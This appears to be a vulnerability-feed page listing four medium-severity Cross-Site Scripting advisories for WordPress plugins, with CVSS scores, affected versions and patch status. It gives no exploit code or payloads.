EPSS 0% CVSS 6.4
MEDIUM This Month

The LA-Studio Element Kit for Elementor plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's Table of Contents widget in all versions up to, and including, 1.4.9 due to. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

PHP WordPress XSS
NVD
EPSS 0% CVSS 5.4
MEDIUM This Month

The Download Manager plugin for WordPress is vulnerable to Stored Cross-Site Scripting via SVG File uploads in all versions up to, and including, 3.3.12 due to insufficient input sanitization and. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

PHP WordPress XSS
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

The Coupon Affiliates - Affiliate Plugin for WooCommerce plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the commission_summary parameter in all versions up to, and. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

PHP WordPress XSS
NVD
EPSS 0% CVSS 4.8
MEDIUM POC This Month

The MapPress Maps for WordPress plugin before 2.94.10 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

PHP WordPress XSS +2
NVD WPScan
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Quick Facts

Typical Severity
MEDIUM
Category
web
Total CVEs
40687

Related CWEs

MITRE ATT&CK

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